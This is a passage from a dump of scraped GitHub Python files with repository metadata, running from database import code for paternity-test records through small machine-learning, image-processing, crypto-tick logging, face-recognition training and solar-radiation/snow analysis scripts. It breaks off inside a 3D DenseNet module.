format(eval(line[4]), '.2e'), # 科学计数法保留两位\n \"dp\": line[5],\n \"eff_rate\": line[6],\n \"ineff_rate\": line[7],\n \"result\": line[8],\n \"rcp\": rcp_result,\n \"dad_time\": dad_time\n }\n sg_pt_family_detail.append(insert_data)\n try:\n collection = self.db['sg_pt_father_analysis']\n collection.insert_many(sg_pt_family_detail)\n except Exception as e:\n self.bind_object.logger.error('导入查重表格出错:{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入查重表格成功\")\n\n def sample_size(self, sample_id, batch_id, tab_none=None):\n collection = self.db['sg_pt_problem_sample']\n # self.mongo_client_ref = Config().biodb_mongo_client # 线上\n # self.database_ref = self.mongo_client_ref['sanger_paternity_test_ref']\n ref_data = self.ref_db['sg_pt_ref_main'].find_one({\"sample_id\": sample_id}) # 线上\n # ref_data = self.database['sg_pt_ref_main'].find_one({\"sample_id\": sample_id}) # 线下\n split_data_name = ref_data[\"split_data_name\"]\n try:\n collection.insert_one({'sample_id': sample_id,\n 'split_data_name': split_data_name,\n 'batch_id': batch_id,\n 'time': datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),\n 'tab_none': tab_none})\n except Exception as e:\n self.bind_object.logger.error('导入问题样本出错:{}'.format(e))\n raise Exception('导入问题样本出错:{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入问题样本成功\")\n","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/api/database/sg_paternity_test.py","file_name":"sg_paternity_test.py","file_ext":"py","file_size_in_byte":23551,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"}
+{"seq_id":"39132338638","text":"#!/usr/bin/python3\n# -*-coding:utf-8-*-\n\n__author__ = \"Bannings\"\n\nimport os, logging, re\n\nif __name__ == '__main__':\n root_directory = os.path.dirname(os.path.abspath(__file__))\n\n # 找出所有的 markdown 文章\n post_directory = os.path.join(root_directory, '_posts')\n posts = [os.path.join(post_directory, file) for file in os.listdir(post_directory) if file[-2:]==\"md\"]\n\n if os.path.exists(\"output.log\"):\n os.remove(\"output.log\")\n logging.basicConfig(filename=\"output.log\", level=logging.DEBUG, format='%(message)s')\n\n # 添加别名\n for post in posts:\n with open(post, \"r+\", encoding=\"utf-8\") as file:\n logging.debug(post)\n lines = file.readlines()\n\n alias = os.path.splitext(post)[0]\n alias = os.path.basename(alias).replace(\"-\", \"/\")\n alias = alias.replace(\" \", \"-\")\n alias = alias.replace(\"#\", \"\")\n lines.insert(2, f\"redirect_from: /{alias}/\\n\")\n \n file.seek(0)\n file.truncate()\n file.writelines(lines)\n file.flush()\n # # 移除多余的文本\n # regex = re.compile(\"本周选择的算法题是:\\[.*?\\]\\(.*?\\)((.*?))\")\n # for post in posts:\n # with open(post, \"r+\", encoding=\"utf-8\") as file:\n # logging.debug(post)\n # lines = file.readlines()\n # changed = False\n # for i, line in enumerate(lines):\n # result = regex.match(line)\n # if result:\n # changed = True\n # start, end = result.span(1)\n # lines[i] = line[:start]+line[end:]\n # logging.debug(f\" {i} {lines[i]}\")\n # break\n \n # if changed:\n # file.seek(0)\n # file.truncate()\n # file.writelines(lines)\n # file.flush()\n ","repo_name":"zhangao0086/zhangao0086.github.io","sub_path":"update_front_matter.py","file_name":"update_front_matter.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"19401363655","text":"from torch import nn\n\nfrom modules.encoderlayer import EncoderLayer\n\n\nclass Encoder(nn.Module):\n def __init__(self, model_dim, filter_dim, layer_num):\n super(Encoder, self).__init__()\n self.layers = nn.ModuleList([EncoderLayer(model_dim, filter_dim) for i in range(layer_num)])\n\n def forward(self, inputs, attn_mask):\n for layer in self.layers:\n inputs = layer(inputs, attn_mask)\n return inputs","repo_name":"royyoung388/srl","sub_path":"src/modules/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"14345481666","text":"# Write a recursive function to check if a string is a palindrome.\n\nword = input(\"Please enter a word yo check if it's a palindrome: \")\n\ndef is_palindrome(w):\n if len(w) <= 1:\n return True\n else:\n if w[0].lower() == w[-1].lower():\n return is_palindrome(w[1:-1])\n else:\n return False\n \nresult = is_palindrome(word)\nprint(result)\n","repo_name":"Mati-Bouchet/entry_level_exercises","sub_path":"Functions/exercise32.py","file_name":"exercise32.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"42507809985","text":"#!/usr/bin/env python\n\nimport numpy as np\nimport matplotlib.pyplot as pl\nfrom sklearn import datasets\n\nclass ANN:\n def __init__(self, inputsize, hiddensize, outputsize):\n \"\"\" setup the network \"\"\"\n # add an additional node to the input and hidden layers as bias nodes\n inputsize += 1\n hiddensize += 1\n\n # thetas hold the weights for connections between nodes \n # theta1 matrix holds weights for connections between input and hidden nodes\n # theta2 matrix for hidden to output nodes\n # initially set the weights randomly\n np.random.seed(123)\n self.theta1 = np.random.normal(0,0.5,[inputsize,hiddensize])\n self.theta2 = np.random.normal(0,0.5,[hiddensize,outputsize])\n\n # change matricies to hold onto the last change in weight for the thetas\n # this is used for incorporating momentum into the weight updates in backprop\n self.theta1change = np.zeros([inputsize,hiddensize])\n self.theta2change = np.zeros([hiddensize,outputsize])\n\n def feedforward(self, x):\n \"\"\" push feature vector x through the network, return each layers output \"\"\"\n # set inputlayer output to x plus 1.0 bias node\n inputlayer = np.append(1.0,np.tanh(x))\n\n # calculate hidden layer vector output, set bias node to 1.0\n z2 = np.dot(inputlayer,self.theta1)\n hiddenlayer = np.tanh(z2)\n hiddenlayer[0] = 1.0\n\n # calculate output layer vector\n z3 = np.dot(hiddenlayer,self.theta2)\n outputlayer = np.tanh(z3)\n\n return inputlayer,hiddenlayer,outputlayer\n\n def backpropagation(self, targets, inputlayer, hiddenlayer, outputlayer, alpha, momentum):\n \"\"\" utilize backprop to update theta1 and theta2 weights \"\"\"\n # alpha is the learning rate, or how much to update theta per training\n # momentum is the what we add to the theta change to prevent getting stuck in a local minimum\n\n # dtanh returns the derivative of the tanh function\n dtanh = lambda y: 1.0 - y ** 2\n\n # calculate the errors between the expected result and the result of the output and hidden layers\n # delta matricies determine how much and in what direction to \"correct\" weights \n outputerrors = targets - outputlayer\n outputdeltas = dtanh(outputlayer) * outputerrors\n\n hiddenerrors = np.dot(outputdeltas,self.theta2.T)\n hiddendeltas = dtanh(hiddenlayer) * hiddenerrors\n\n # for each theta:\n # use the deltas to calculate the change gradient\n # update the weights for thetas to correct the errors\n change = np.array(np.matrix(hiddenlayer).T * np.matrix(outputdeltas))\n self.theta2 = self.theta2 + (alpha * change) + (momentum * self.theta2change)\n self.theta2change = change\n\n change = np.array(np.matrix(inputlayer).T * np.matrix(hiddendeltas))\n self.theta1 = self.theta1 + (alpha * change) + (momentum * self.theta1change)\n self.theta1change = change\n\n def predict(self, x):\n \"\"\" given feature vector x return the learned outputlayer \"\"\"\n inputlayer,hiddenlayer,outputlayer = self.feedforward(x)\n return outputlayer\n \n def train(self, x, y, alpha=0.5, momentum=0.3):\n \"\"\" train a single example (x) with expected output (y) \"\"\"\n # the learning rate (alpha) and the momentum values may need to be adjusted so they are not too high/low\n\n # first get the outputs of all the layers from pushing x through the network\n inputlayer,hiddenlayer,outputlayer = self.feedforward(x)\n # then use backprop to adjust the weights so the network's output is closer to y\n self.backpropagation(y,inputlayer,hiddenlayer,outputlayer,alpha,momentum)\n\n\ndef digits():\n \"\"\" teach the neural network what digits look like \"\"\"\n # use the digits dataset from the sklearn library\n # the images are 8x8 bitmaps of handwritten digits {0,9}\n # when 'unrolled' each image becomes a 1x64 matrix\n digits = datasets.load_digits()\n X = digits.data\n Y = digits.target\n\n classes = list(set(Y))\n\n # use each pixel as an input node\n # using 12 hidden nodes/neurons\n # output layer contains 10 nodes, one for each digit\n inputsize = X.shape[1]\n hiddensize = 12\n outputsize = len(classes)\n ann = ANN(inputsize,hiddensize,outputsize)\n\n # for this example, im only training with the first 12 examples\n for n in xrange(400):\n for i in xrange(12):\n x,y = X[i],Y[i]\n target = np.zeros(len(classes))\n target[classes.index(y)] = 1\n ann.train(x,target,alpha=0.1,momentum=0.2)\n\n # see how well the trained examples were learned\n for i in xrange(12):\n x,y = X[i],Y[i]\n results = ann.predict(x)\n prediction = results.argmax()\n pl.subplot(3,4,i+1)\n color = pl.cm.gray if prediction == y else pl.cm.Reds_r\n pl.imshow(digits.images[i], cmap=color)\n pl.title('Predicted=%i vs. Actual=%i' % (prediction,y))\n\n pl.show()\n\nif __name__ == '__main__':\n digits()\n","repo_name":"liamgriffiths/learning","sub_path":"ann.py","file_name":"ann.py","file_ext":"py","file_size_in_byte":5095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"25435724815","text":"import os\nimport sys\nimport time\nimport json\nimport logging\nfrom functools import partial\n\nfrom feed import bitstamp\nfrom datasink import Datasink, stdout_logger\n\n\nCONFIG_FILE = 'tick.conf'\n\n\ndef write_tick_to_sink(record, sink):\n rec = json.loads(record)\n fields = ['id', 'price', 'amount', 'timestamp']\n msg = ','.join([str(rec[field]) for field in fields])\n sink.write(msg)\n\n\ndef main(\n *,\n root='cryptle-exchange/bitstamp-tick',\n pairs=('btcusd', 'bchusd', 'ethusd', 'xrpusd'),\n resolution=Datasink.MINUTE,\n backend='os'\n ):\n header = ['id', 'price', 'amount', 'time']\n header = ','.join(header)\n ext = 'csv'\n\n # Prepare sinks\n sinks = {}\n for pair in pairs:\n sinks[pair] = Datasink(\n root='-'.join([root, pair]),\n ext=ext,\n header=header,\n namemode=2,\n resolution=resolution,\n backend=backend,\n )\n\n conn = bitstamp.BitstampFeed()\n conn.connect()\n\n for pair in pairs:\n conn.onTrade(pair, partial(write_tick_to_sink, sink=sinks[pair]))\n\n while True:\n try:\n while conn.is_connected():\n time.sleep(0.2)\n except ConnectionError:\n # reconnect\n conn.connect()\n except KeyboardInterrupt:\n print('\\rTerminating...')\n conn.close()\n return 0\n except Exception:\n logging.error('Uncaught exception %s', e)\n return 1\n\n\nif __name__ == '__main__':\n config = {}\n if os.path.isfile(CONFIG_FILE):\n with open(CONFIG_FILE) as f:\n for line in f:\n name, var = line.partition('=')[::2]\n config[name.strip()] = var.strip()\n logging.basicConfig(level=logging.INFO)\n stdout_logger()\n sys.exit(main(**config))\n","repo_name":"pinealan/crypto-data","sub_path":"scripts/tick.py","file_name":"tick.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"69810621709","text":"from cgitb import text\nfrom sqlite3 import Cursor\nfrom tkinter import*\nfrom tkinter import ttk\nfrom tkinter import messagebox\nfrom PIL import Image,ImageTk\nfrom tkinter import messagebox\nimport mysql.connector\nimport cv2\nimport os\nimport numpy as np\n# from main import Face_Recognition_System\n\n\nclass TrainImages:\n def __init__(self,root):\n self.root=root\n self.root.geometry(\"1530x790+0+0\")\n self.root.title(\"train Images\")\n\n \n butn_frame=Frame(self.root,bd=2,pady=3,relief=RIDGE,bg=\"white\")\n butn_frame.place(x=0,y=200,width=660,height=100)\n\n back_button=Button(self.root,text=\"Back\",command=self.Back_to_main,cursor=\"hand2\")\n back_button.place(x=1265,y=100,width=90,height=30)\n\n train_Button=Button(butn_frame,command=self.trainClassifier,text=\"Train Data\",font=(\"times new roman\",13,\"bold\"),padx=10,width=14,bg=\"blue\",fg=\"white\")\n train_Button.grid(row = 0,column = 0)\n\n \n\n\n def trainClassifier(self):\n data_dir=(\"Student faces\")\n path=[os.path.join(data_dir,file) for file in os.listdir(data_dir)]\n\n faces=[]\n ids=[]\n for image in path:\n img=Image.open(image).convert('L') # gray scale image\n imageNp=np.array(img,'uint8')\n id=int(os.path.split(image)[1].split('.')[1])\n\n\n faces.append(imageNp)\n ids.append(id)\n cv2.imshow(\"Training\",imageNp)\n cv2.waitKey(1)==13\n ids=np.array(ids)\n\n\n\n # ************************* train classifier save****************\n clf=cv2.face.LBPHFaceRecognizer_create()\n clf.train(faces,ids)\n clf.write(\"classifier.xml\")\n cv2.destroyAllWindows()\n messagebox.showinfo(\"Result\",\"Training datasets completed!!\")\n\n def Back_to_main(self):\n # self.old_window=Toplevel(self.root)\n # cv2.destroyAllWindows()\n self.root.destroy()\n \n\n\n\n\n\n\nif __name__==\"__main__\":\n root=Tk()\n obj=TrainImages(root)\n root.mainloop()\n","repo_name":"jeevandaka/Face_recognition","sub_path":"trainImages.py","file_name":"trainImages.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"24454942747","text":"import cv2\nimport matplotlib.pyplot as plt\n\nimg = cv2.imread('./images/street.jpeg', cv2.IMREAD_GRAYSCALE)\nret, thresh = cv2.threshold(img, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)\n\n# kernel\nkernel = cv2.getStructuringElement(cv2.MORPH_CROSS, (3, 3))\n# closing\nclosed = cv2.morphologyEx(thresh, cv2.MORPH_CLOSE, kernel)\n\n# plotting\nfig, axs = plt.subplots(1, 2, figsize=(10, 5))\naxs[0].imshow(thresh, cmap='gray')\naxs[0].set_title('Binary Image')\naxs[1].imshow(closed, cmap='gray')\naxs[1].set_title('Closed Image')\nplt.show()\n","repo_name":"Raaulsthub/ImgProcessingStudies","sub_path":"codes/morph/closing.py","file_name":"closing.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"37517192695","text":"# -*- coding: utf-8 -*-\r\n# when : 2021.09.09\r\n# who : [sori-machi]\r\n# what : \r\n# *日射量(地上/衛星)、出力、アメダス積雪深の関係性\r\n# *冬季期間における、富山・福井の日射量影響の把握/冬季期間においては、積雪により、日射量が過小評価になりがちなことを、plotlyで確認。\r\n#---------------------------------------------------------------------------\r\n# basic-module\r\nimport matplotlib.pyplot as plt\r\nimport sys,os,re,glob\r\nfrom matplotlib import rcParams\r\nrcParams['font.family'] = 'sans-serif'\r\nrcParams['font.size'] = 18\r\nrcParams['font.sans-serif'] = ['Hiragino Maru Gothic Pro', 'Yu Gothic', 'Meirio', 'Takao', 'IPAexGothic', 'IPAPGothic', 'VL PGothic', 'Noto Sans CJK JP']\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom datetime import datetime, timedelta\r\nimport warnings\r\nwarnings.simplefilter('ignore')\r\n\r\n# \r\nimport matplotlib.colors as mcolors\r\n_color = [ mcolors.rgb2hex(plt.cm.get_cmap('tab10')(i)) for i in range(10)]\r\n\r\nfrom tqdm import tqdm\r\nimport seaborn as sns\r\nimport math\r\n# https://www.python.ambitious-engineer.com/archives/1140\r\n#---------------------------------------------------\r\n# sori -module\r\nsys.path.append('/home/ysorimachi/tool')\r\nfrom getErrorValues import me,rmse,mae,r2 #(x,y)\r\n# from convSokuhouData import conv_sfc #(df, ave=minutes,hour)\r\nfrom convAmedasData import conv_amd\r\n#amedas relate 2020.02,04 making...\r\nfrom tool_AMeDaS import code2name, name2code\r\nfrom tool_110570 import get_110570,open_110570\r\nfrom tool_100571 import get_100571,open_100571\r\n#(code,ini_j,out_d)/(code,path,csv_path)\r\n#---------------------------------------------------\r\nimport subprocess\r\nfrom utils_plotly import plotly_2axis#(df,col1,col2,html_path, title=\"sampe\"):\r\n# outd ='/home/griduser/work/sori-py2/deep/out/0924_01'\r\n# os.makedirs(outd, exist_ok=True)\r\n# subprocess.run('rm -f *.png', cwd=outd, shell=True)\r\n#------------------------\r\n# 2021.09.09 \r\nsys.path.append(\"..\")\r\nfrom tmp.amedas import get_List\r\nfrom teleme.reg_PU_001 import load_teleme\r\nfrom smame.reg_PU_001 import load_smame,get_a_b_c_d #(month,cate) #(\"surplus\",\"month\")\r\nfrom teleme.utils_teleme import teleme_max#(code=None,cate =\"max\")\r\nfrom utils import load_rad#(month=\"201904\",cate=\"obs\", lag=30)\r\n\r\n#------------------------\r\n# from mapbox import map_lonlat_multi#(_df,html_path,size=4,zoom=4)\r\nfrom mapbox import map_lonlat2,map_lonlat# (_df,text=\"name\",html_path,size=4,zoom=4)\r\n\r\nDHOME=\"/work/ysorimachi/hokuriku/snow_hosei/rad210524\" #8now0/sfc\r\nDAT_1MIN=\"/home/ysorimachi/work/hokuriku/dat/rad/111600_2sites\"\r\nTMP=\"/home/ysorimachi/work/hokuriku/tmp/tmp210524\"\r\npoint_hash = {\"cpnt15\": \"47607\",\"cpnt18\": \"47616\"}\r\nname_hash = {\"cpnt15\": \"TOYAMA\",\"cpnt18\": \"FUKUI\"}\r\n\r\n#settig loop\r\ndef load_month(isWinter=False):\r\n if isWinter:\r\n return list([202012,202101,202102,202103])\r\n else:\r\n return list([202004,202005,202006,202007,202008,202009,202010,202011,202012,202101,202102,202103])\r\n \r\n\r\n# set\r\n\r\ndef check_rad(code,month):\r\n \"\"\"\r\n 2021.05.24 \r\n 個別地点、個別の月において、日射量と積雪について確認する\r\n \"\"\"\r\n #local function ---------------\r\n def clensing(df):\r\n for c in [\"rad\",\"H0\",\"8now0\"]:\r\n df[c] = df[c].apply(lambda x: np.nan if x< 0 or x>1400 else x)\r\n df = df.dropna(subset=[\"rad\",\"H0\",\"8now0\"])\r\n return df\r\n \r\n def load_sfc(scode,month):\r\n path = f\"{DHOME}/sfc/sfc_10minh_{month}_{scode}.csv\"\r\n df = pd.read_csv(path)\r\n df = conv_sfc(df, ave=False)\r\n df[\"time\"] = df[\"time\"].apply(lambda x:x.strftime(\"%Y%m%d%H%M\"))\r\n df = df[[\"time\",\"snowDepth\"]]\r\n df = df.replace(9999,np.nan)\r\n return df\r\n \r\n df = pd.read_csv(f\"{DHOME}/dataset/{code}_{month}.csv\")\r\n df[\"time\"] = df[\"time\"].astype(str)\r\n # df = clensing(df)\r\n scode = point_hash[code]\r\n ame = load_sfc(scode,month)\r\n \r\n # print(df)\r\n df = df.merge(ame, on=\"time\",how=\"inner\")\r\n df[\"time\"] = pd.to_datetime(df[\"time\"])\r\n html_path = f\"{TMP}/{code}_{month}_rad_SNOW.html\"\r\n plotly_2axis(df,[\"rad\",\"8now0\"],[\"snowDepth\"],html_path, title=f\"{code}_{month}_rad_SNOW\")\r\n print(df.head())\r\n sys.exit()\r\n\r\n\r\ndef plot_map():\r\n \"\"\"\r\n 2021.09.09 : 日射量/アメダス観測点を表示する\r\n \"\"\"\r\n df = get_List()\r\n df[\"flg\"] = df[\"name\"].isnull()\r\n df.loc[df[\"flg\"]==False, \"cate\"] = \"日\"\r\n print(df[\"cate\"].unique())\r\n _df,_text = [],[]\r\n for i,c in enumerate(df[\"cate\"].unique()):\r\n tmp = df[df[\"cate\"]==c]\r\n tmp[\"color\"] = i\r\n _df.append(tmp)\r\n _text.append(c)\r\n \r\n df = pd.concat(_df,axis=0)\r\n # df[\"text\"] = df[\"code\"].astype(str) + \"-\" + df[\"cate\"] + \"-\" + df[\"name\"]\r\n df[\"text\"] = df[\"code\"].astype(str) +\"-\" + df[\"cate\"]\r\n # print(df.head(50))\r\n # sys.exit()\r\n\r\n out_d= \"/home/ysorimachi/work/hokuriku/out/snow/html\"\r\n html_path = f\"{out_d}/map_amedas.html\"\r\n # map_lonlat_multi(_df,_text,html_path)\r\n map_lonlat(df,html_path =html_path, text=\"text\",size=4,size_col=\"color\",zoom=4)\r\n\r\n\r\n\r\n\r\n#---------------------------------\r\n#-----------------\r\ndef get_snw(month,code):\r\n local = \"/home/ysorimachi/work/hokuriku/dat/snow/amedas\"\r\n # path = f\"{local}/amd_10minh_{month}_{code}.csv\"\r\n # if not os.path.exists(path):\r\n # subprocess.run(\"sh amd_get.sh {} {} {}\".format(month,code,local), shell=True)\r\n # else:\r\n # print(f\"already get ..{month} {code}\")\r\n if 202004 <= int(month) <= 202006:\r\n path = f\"{local}/snow_2004.csv\"\r\n elif 202007 <= int(month) <= 202009:\r\n path = f\"{local}/snow_2007.csv\"\r\n elif 202010 <= int(month) <= 202012:\r\n path = f\"{local}/snow_2010.csv\"\r\n elif 202101 <= int(month) <= 202103:\r\n path = f\"{local}/snow_2101.csv\"\r\n else:\r\n path = \"not found\"\r\n df = pd.read_csv(path)\r\n \r\n for c in df.columns[1:]:\r\n df[c] = df[c].apply(lambda x: x if x>0 else 0)\r\n \r\n df[\"time\"] = pd.to_datetime(df[\"time\"])\r\n df = df.set_index(\"time\")\r\n if code == \"55056\":\r\n return df[\"魚津\"]\r\n if code == \"55151\":\r\n return df[\"富山\"]\r\n if code == \"56286\":\r\n return df[\"白山河内\"]\r\n\r\ndef loop_month(st = \"201904\", ed=\"202104\"):\r\n _t = pd.date_range(start = f\"{st}300000\",end = f\"{ed}300000\", freq=\"M\")\r\n _t = [ t.strftime(\"%Y%m\") for t in _t]\r\n _t = _t[:-1]\r\n return _t\r\n\r\ndef get_pv(cate,month,pv_name):\r\n #--------------\r\n if cate == \"teleme\":\r\n df = load_teleme(month)\r\n max_val = teleme_max(pv_name)\r\n \r\n df[\"max\"] = max_val\r\n df = df[[pv_name,\"max\"]]\r\n df.columns = [\"PV\",\"max\"]\r\n return df\r\n\r\n if cate == \"surplus\":\r\n # 事前に、/home/ysorimachi/work/hokuriku/py/smame のdetails_smame2.pyを実行して、対象地点のみの合算ファイルを作成しておくことが必要\r\n DHOME_TMP=\"/home/ysorimachi/work/hokuriku/dat/snow/csv/tmp_smame_month\"\r\n path = f\"{DHOME_TMP}/{cate}_{month}.csv\"\r\n df = pd.read_csv(path)\r\n df[\"time\"]= df[\"time\"].astype(str)\r\n df[\"time\"] = df[\"time\"].apply(lambda x: x[0:8] + \"0000\" if x[8:10] == \"24\" else x)\r\n df[\"time\"] = pd.to_datetime(df[\"time\"].astype(str))\r\n df = df.set_index(\"time\")\r\n df[\"sum\"] *=2 #30分間隔なので\r\n # df = df.rename(columns={\"sum\":\"PV\"})\r\n return df[[\"sum\",\"max\"]]\r\n\r\n\r\ndef details_effect(NAME):\r\n if NAME==\"AREA001\":\r\n rad_name,pv_name,snow_code,cate = \"unyo001\",\"telm007\",\"55056\",\"teleme\"\r\n if NAME==\"AREA002\":\r\n rad_name,pv_name,snow_code,cate = \"unyo001\",\"telm007\",\"55056\",\"teleme\"\r\n if NAME==\"AREA003\":\r\n rad_name,pv_name,snow_code,cate = \"unyo012\",\"telm007\",\"56286\",\"surplus\"\r\n \r\n return rad_name,pv_name,snow_code,cate\r\n\r\ndef snow_effect(month=\"202103\"):\r\n \"\"\"\r\n 2021 .09.09\r\n 積雪深が個別のPV出力に影響を与えていたのかを調査\r\n \"\"\"\r\n HTML_HOME=\"/home/ysorimachi/work/hokuriku/out/snow/html\"\r\n # area setting ---------\r\n # NAME=\"AREA001\"\r\n NAME=\"AREA003\"\r\n radname = \"obs\"\r\n \r\n rad_name,pv_name,snow_code,cate = details_effect(NAME)\r\n png_title = f\"{NAME}({rad_name}/{pv_name}/{snow_code})\"\r\n # print(png_title)\r\n # sys.exit()\r\n \r\n # mk dataset ---------\r\n sn_df= get_snw(month,snow_code)# dataget\r\n pv_df = get_pv(cate,month,pv_name) #teleme&smame\r\n\r\n rad_df = load_rad(month=month,cate=radname, lag=30) #rad_\r\n df = pd.concat([rad_df[rad_name],pv_df,sn_df],axis=1)\r\n \r\n df.columns = [\"rad\",\"PV\",\"max\",\"snow\"]\r\n df[\"snow\"] = df[\"snow\"].fillna(method = \"pad\")\r\n df = df.dropna()\r\n \r\n # calc -----\r\n df[\"p.u\"] = df[\"PV\"]/df[\"max\"]\r\n df[\"rad\"] /=1000\r\n \r\n DOUT=\"/home/ysorimachi/work/hokuriku/dat/snow/csv/point\"\r\n df.to_csv(f\"{DOUT}/{NAME}_{month}.csv\")\r\n \r\n if 0: #plotly \r\n df = df.reset_index()\r\n html_path = f\"{HTML_HOME}/ts_{NAME}.html\"\r\n plotly_2axis(df,[\"rad\",\"p.u\"],[\"snow\"],html_path, title=png_title, vmax=1)\r\n \r\n if 0: #png\r\n df = df.reset_index()\r\n png_d =\"/home/ysorimachi/work/hokuriku/out/snow/png\"\r\n from plot1m import plot1m_2axis#(df,_col,_sub_col=False,month=False,_ylim=[0,1000,0,100],title=False,step=6)\r\n f = plot1m_2axis(df,_col=[\"rad\",\"p.u\"],_sub_col=[\"snow\"],month=month,_ylim=[0,1.1,0,120],title=False,step=6)\r\n f.savefig(f\"{png_d}/ts_{month}_{NAME}.png\",bbox_inches=\"tight\")\r\n print(png_d, month)\r\n return\r\n\r\ndef plot_pu(NAME):\r\n \"\"\"\r\n 2021.09.12\r\n 事前にデータセットを作成して置く必要がある\r\n \"\"\"\r\n DHOME=\"/home/ysorimachi/work/hokuriku/dat/snow/csv/point\"\r\n png_d =\"/home/ysorimachi/work/hokuriku/out/snow/png\"\r\n \r\n _path = sorted(glob.glob(f\"{DHOME}/{NAME}*.csv\"))\r\n _df = [pd.read_csv(path) for path in _path]\r\n df = pd.concat(_df,axis=0)\r\n N=df.shape[0]\r\n \r\n # f,ax = plt.subplots(1,3,figsize=(18,5))\r\n f,ax = plt.subplots(figsize=(9,9))\r\n \r\n _h = [0,5,20]\r\n \r\n ax.scatter(df[\"rad\"],df[\"p.u\"],color=\"gray\", s=1, alpha=0.3,label=\"全データ\")\r\n for i,h in enumerate(_h):\r\n tmp = df[df[\"snow\"]>h]\r\n title = f\"積雪別日射量とp.uの関係\"\r\n percent = np.round(tmp.shape[0]*100/N,1)\r\n color = _color[i]\r\n if i==2:\r\n size = 50\r\n marker=\"o\"\r\n color=\"r\"\r\n else:\r\n size = 12\r\n marker=\"o\"\r\n \r\n ax.scatter(tmp[\"rad\"],tmp[\"p.u\"],color=color, s=size,marker=marker, alpha=1, label=f\"SNOW({h}cm超-{percent}[%])\")\r\n \r\n \r\n if 1:\r\n a,b,c,d = get_a_b_c_d(\"202101\",\"8now0\")\r\n _x = np.linspace(0,1,1000)\r\n _y = a*_x**3 +b*_x**2 + c*_x + d\r\n ax.plot(_x, _y, color=\"g\", lw=2, label=\"p.u回帰曲線(1月)\")\r\n # print(a,b,c,d)\r\n # sys.exit()\r\n \r\n ax.plot(_x, _x, color=\"k\", lw=1)\r\n ax.set_xlabel(\"日射量[kW/m2]\") \r\n ax.set_ylabel(\"p.u[-]\") \r\n ax.set_xlim(0,1) \r\n ax.set_ylim(0,1)\r\n ax.set_title(title)\r\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left', borderaxespad=0, fontsize=18)\r\n \r\n f.savefig(f\"{png_d}/scatter_{NAME}.png\", bbox_inches=\"tight\") \r\n \r\n print(\"DIRECTR\",png_d)\r\n sys.exit()\r\n \r\n\r\n\r\nif __name__ == \"__main__\":\r\n #---------------------------------------\r\n # #all months -------------\r\n if 0:\r\n plot_map()\r\n \r\n if 0: #\"make dataset \r\n for month in loop_month()[12:]:\r\n # month=\"202010\"\r\n snow_effect(month=month)\r\n print(datetime.now(), \"[END]\", month)\r\n # sys.exit()\r\n if 1:\r\n NAME=\"AREA001\" #teleme\r\n NAME=\"AREA003\" #smame\r\n plot_pu(NAME)\r\n ","repo_name":"soriiieee/analysis_stock","sub_path":"py_hokuriku/py/snow/tmp_210909.py","file_name":"tmp_210909.py","file_ext":"py","file_size_in_byte":11210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"4738531426","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.utils.model_zoo as model_zoo\nfrom collections import OrderedDict\n\n\nclass _DenseLayer(nn.Sequential):\n def __init__(self, num_input_features, growth_rate, bn_size, drop_rate):\n super(_DenseLayer, self).__init__()\n self.add_module('norm1', nn.BatchNorm3d(num_input_features)),\n self.add_module('relu1', nn.ReLU(inplace=True)),\n self.add_module('conv1', nn.Conv3d(num_input_features, bn_size *\n growth_rate, kernel_size=1, stride=1, bias=False)),\n self.add_module('norm2', nn.BatchNorm3d(bn_size * growth_rate)),\n self.add_module('relu2', nn.ReLU(inplace=True)),\n self.add_module('conv2', nn.Conv3d(bn_size * growth_rate, growth_rate,\n kernel_size=3, stride=1, padding = 1, bias=False)),\n self.drop_rate = drop_rate\n\n def forward(self, x):\n new_features = super(_DenseLayer, self).forward(x)\n if self.drop_rate > 0:\n new_features = F.dropout(new_features, p=self.drop_rate, training=self.training)\n return torch.cat([x, new_features], 1)\n\n\nclass _DenseBlock(nn.Sequential):\n def __init__(self, num_layers, num_input_features, bn_size, growth_rate, drop_rate):\n super(_DenseBlock, self).__init__()\n for i in range(num_layers):\n layer = _DenseLayer(num_input_features + i * growth_rate, growth_rate, bn_size, drop_rate)\n self.add_module('denselayer%d' % (i + 1), layer)\n\n\nclass _Strider(nn.Sequential):\n def __init__(self, num_input_features, num_output_features):\n super(_Strider, self).__init__()\n self.add_module('norm', nn.BatchNorm3d(num_input_features))\n self.add_module('relu', nn.ReLU(inplace=True))\n self.add_module('conv', nn.Conv3d(num_input_features, num_output_features,\n kernel_size=3, stride=1, bias=False)) ## reduce the size of the feature map\n self.add_module('pool', nn.Conv3d(num_output_features, num_output_features,\n kernel_size=2, stride=2)) ## removed the average pooling layer.\n\n\n# class OutputTransition(nn.Module): ##### original vnet implementation\n# def __init__(self, inChans, nll=True):\n# super(OutputTransition, self).__init__()\n# self.conv1 = nn.Conv3d(inChans, 2, kernel_size=5, padding=2)\n# self.bn1 = nn.BatchNorm3d(2)\n# self.conv2 = nn.Conv3d(2, 2, kernel_size=1)\n# self.relu1 = nn.ReLU(inplace=True)\n# if 